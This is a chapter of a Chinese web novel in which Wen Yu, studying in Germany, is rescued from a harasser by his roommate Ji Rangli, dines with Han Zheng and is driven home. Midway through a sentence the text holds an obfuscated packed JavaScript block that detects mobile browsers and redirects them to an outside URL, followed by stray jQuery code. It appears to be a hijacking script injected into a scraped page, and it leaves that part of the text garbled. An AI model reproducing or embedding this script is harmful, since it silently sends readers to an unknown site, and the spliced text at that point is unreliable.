很快到了和韩征约定好吃饭的周末,地点是韩征定的,温榆从来到这里就几乎没出去吃过饭,对周围餐厅一窍不通。
定位显示是一家茶餐厅,说远不远说近也不近,需要坐二十分钟的地铁,然后步行大概十分钟到达。
温榆准时出门,在地铁上认真研究了一下路线,出了地铁却发现环境和他想象的不太一样。
他好像来到了一个很偏僻的地方,绿化葱郁,人烟稀少,偶尔有人骑自行车经过,车铃叮铃响。
环境倒是不错,就是不像有餐厅的样子。
温榆犹豫着往前走了一段就停了,用手机拍了张照片发给韩征,以确认自己有没有走错。
消息刚发出去还没有得到回复,屏幕忽然被一只手盖了一下。
温榆条件反射握紧手机后退,定睛一看,对方是个身材高大但上了年纪的德国男人,衣衫还算整洁,眼珠有些发黄。
不是抢劫就好,温榆舒口气,保持着距离用德语询问对方有什么事。
对方微笑看着他,没有回应。
温榆又用英语问了一遍,对方还是没反应。
天已经快黑了,温榆还要赶时间赴约,便礼貌地也冲他笑了笑,打算绕过他继续往前走。
刚迈出一步就被对方察觉意图,男人移动身体将他拦住,说了句“hello”之后紧接一连串德语。
又不是标准的德语,发音更像小众俚语,温榆很费劲听出了几个类似“眼球”“心脏”的单词,其他一窍不通。
在他用字正腔圆的标准德语表达自己听不懂之后,男人拍了拍自己的心口,忽然朝他走近一步。
温榆很不适应这种距离,一再后退:“对不起我真的听不懂你在说什么,你是身体不舒服吗?眼睛?还是心脏?是否需要我帮你叫救护车?”
男人不知道是听懂还是没听懂,忽然咧开嘴,倾身过来想拉温榆。
温榆意识到不对劲,连忙躲避,一股力量更快勾住他的肩膀往后拉,同时一道身影严实挡在他面前,利落推开中年白人男。
“#¥*@-*?……”
白人男一通叽里呱啦,温榆还是听不懂,但他认得面前的人:“纪让礼?你怎么来了?”
“路过。”纪让礼声音很冷,脸色也很不好看:“你在跟这种人交流什么?遇到谁都想练练口语?”
温榆又懵又冤:“没有交流,是他在跟我说,我什么也没听懂,他一直在指自己的心脏,我以为他有病要跟我求助。”
“……”纪让礼扯起嘴角,略带些嘲讽:“你哪只眼睛看他是有病的样子?”
“我不知道啊。”
温榆憋屈得很,哪怕关系最差的时候,纪让礼都没有用这种态度凶过他:“我又看不出来。”
纪让礼视线居高临下,眯了眯眼睛,脸色久久不能缓和:“确实是高看你了。”
不会掩饰情绪,分手了跟只杀伤性为零的小气球一样碰就炸;心理承受能力差,答错一个问题都能躲起来偷偷抹眼泪;脑子绕不过弯,被骚扰了还以为对方是在跟他求助。
就是这样一个人,自己之前竟然怀疑他可能会像那些人一样大费周章地骚扰他。
温榆对不上他的脑回路,以为他在阴阳自己德语学得不好,涨红脸据理争辩:“不是我听不懂,是他口音太小众,难道我说方言你也能听得懂吗?”
纪让礼终于忍不住啧了声:“笨死了。”
温榆:“......你再说!”
莫里茨连踹带恐吓地送走了骚扰温榆的那个老流氓,回头见两个人聊得有来有往,好奇地凑到中间两边看:“你们在说什么呢?”
温榆纪让礼都说的中文,他一个字也听不懂:“席勒,温,能不能换个大众点的语言,那种我们三个人都能听明白的可以吗?”
温榆才发现到场的不止纪让礼一个。
他当然认识莫里茨。
只是在这之前两人之间没有任何交流,对方突然的自来熟让他应接不暇,只好老老实实将刚才的话换成英文又重复了一遍。
纪让礼不悦望向莫里茨:“你凑什么热闹。”
莫里茨惊讶:“这就叫凑热闹?你已经决定要孤立我了吗?”
被这么一打岔,纪让礼对温榆也训不下去了,好歹脸色不再那么难看:“以后看见这种人离远点,不是什么好东西。”
温榆很明白纪让礼无论态度如何,总是在为自己好,他也不好意思赌气,闷闷点头:“知道了。”
纪让礼看着他的发旋,头发软哒哒的,跟只挨骂的小狗一样。
“听不懂的不用理。”生冷的语气也恢复了常态:“你是外国人,是个正常人都能理解。”
温榆:“喔。”
莫里茨:“让我们说德语行吗?温,你是要去哪里?”
温榆答了一条街道的名字,要去的餐厅就在那条街道上。
莫里茨抚掌:“好巧,正好我们会路过那边,要我们送你过去吗?席勒开了车,很方便的噢。”
温榆还没回答,纪让礼故技重施,扣着他的肩膀将他转了个面向:“车在那边,自己过去。”
这是温榆第一次坐纪让礼的车。
车标晃了一眼,不认识,只觉得看起来贵贵的,而且这种感觉在坐进车里之后更明显了。
温榆拘谨地靠着车门,努力不让驾驶座的后视镜照到自己。
莫里茨原来是个话唠,从上车起嘴巴就不停,话又多又密,叭叭地往外蹦,即使另外两人谁也没理他。
温榆一紧张就爱乱想。
想纪让礼刚刚是怎么看见他的。
想真是好巧好险纪让礼正好路过。
想纪让礼开车来这边做什么。
想这辆车是不是纪让礼自己的,如果是的话,平时都停在哪里……
“对了,温。”莫里茨语气颇为振奋。
温榆被点到名字,条件反射坐直:“我在。”
莫里茨笑起来:“听说你做饭很好吃。”
纪让礼警告地瞥了莫里茨一眼。
莫里茨装作没看见,扭头去找温榆:“我想吃正宗的中餐很久了,有幸尝尝你的手艺吗?”
“别理他。”纪让礼用的中文,将所谓孤立贯彻到底:“当没听见。”
温榆当然不可能真当没听见,何况莫里茨刚刚还帮了自己:“可以,但是我只会做一些简单的,厨艺其实很一般……”
“你们中国人都这样,长得好看,脑袋聪明,还谦虚。”
莫里茨说:“你要是做得一般,席勒怎么还每天抛下我们往宿舍跑?也只有在你没空做饭的时候,他才会勉强跟我们吃一些。”
温榆眨了眨眼,车子正好在路边停下,纪让礼通知他:“到了。”
温榆喔了声,准备下车。
纪让礼又问:“几点回去?”
温榆想自己跟韩征也没有很熟,应该聊不了很久:“大概八点半。”
纪让礼:“结束给我发消息。”
温榆有点猜到他的意思,但不确定:“发消息是?”
纪让礼:“顺路,接你回去。”
温榆在餐厅二楼角落的位置找到韩征。
坐下后先看了眼时间,七点二十七,然后认真道歉:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338123|199262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“对不起,路上遇到了一点意外,迟到了。”
孰料韩征也跟他道歉:“到了才想起近几个月这边在翻新马路,绕行的路有些偏僻,是我的疏忽。”
争抢揽责也不在温榆的擅长范围,他只能笑一笑蒙混过去,让韩征先点餐。
“新工作适应了吗?”
吃饭时,韩征跟他闲聊:“跟安东尼相处得怎么样?”
“适应了。”温榆心怀感恩,问什么答什么:“跟安东尼也相处得还好,除了他一直不怎么愿意听我讲课。”
韩征笑了:“没关系,现在这样已经很好了,我果然没猜错,你很讨小朋友的喜欢。”
这话的意思是安东尼喜欢他?
温榆不敢苟同,所以他选择不说话,低头继续吃他的酱拌草。
韩征:“安东尼的父亲快要回来了,说出差的工作已经差不多收尾结束,也许就在明天。”
温榆:“听安东尼提过。”
韩征笑笑:“是么,他还提过别的什么?”
温榆摇头:“没有了。”
韩征思索一下:“那我来给你介绍一些吧,他父亲叫杰姆,你称呼杰姆先生就好,是上市公司管理层人员,性格热情和善,也非常好相处。”
温榆听见热情就害怕。
对别人来说热情是好事,对他来说正好相反,他宁愿雇主冷漠一点,别跟他多交流。
但总是怕什么来什么,韩征又说:“不过不少人会评价他有些热情过头,你要做好心理准备。”
“……”温榆艰难咽下一口沙拉:“好的。”
“家教嘛,要长期留下的话,跟家长打好关系很重要,好处只会多不会少。”
韩征眯眼笑道:“放心,你这么好,杰姆一定会喜欢你的。”
这个预防针打得属实不怎么样,搞得温榆整个人都焦虑了。
吃完离开餐厅,温榆说会蹭室友的车回去,让韩征先走,但韩征坚持要送他上车。
纪让礼来得准时,韩征比温榆本人还先注意到这辆从远处驶来的车子。
视线扫过低调却又不低调的车标,他转头对温榆说:“你室友可真酷。”
纪让礼没下来,也没摇下车窗,只按了按喇叭示意温榆动作快点。
温榆一个蹭车的可不敢让人久等,匆匆和韩征道别,拉开后座车门准备上车。
纪让礼的声音从前传来:“我是你司机?”
温榆第一下没反应过来,待见副驾上空空如也,立刻懂了,乖乖关上后座车门绕到副驾上车。
车子驶离之前,纪让礼最后往外看了眼,送温榆过来的那个人还站在路边没有着急离开。
“莫里茨不回去吗?”温榆低头认真系安全带。
纪让礼收回目光:“他不住宿舍。”
温榆点点头,想目的单纯地问问那你为什么要住宿舍,不过感觉很欠打,算了。
车里没有播放音乐,一路安静到最后一个红绿灯路口,纪让礼忽然问他:“你跟那个韩国人什么时候认识的?”
温榆上一秒还在用目光认真研究这辆豪车的操作位,闻言十分茫然:“韩国人?我不认识什么韩国人啊。”
纪让礼无言侧目。
温榆不确定地猜测:“你说韩征?可是他是中国人啊。”
纪让礼语焉不详:“是么。”
温榆听他的语气,立场立刻就不明确了:“是的吧……?”
纪让礼:“那你知不知道我其实是新疆人。”
温榆:“……?”
温榆:“???”
温榆:“???!!!!”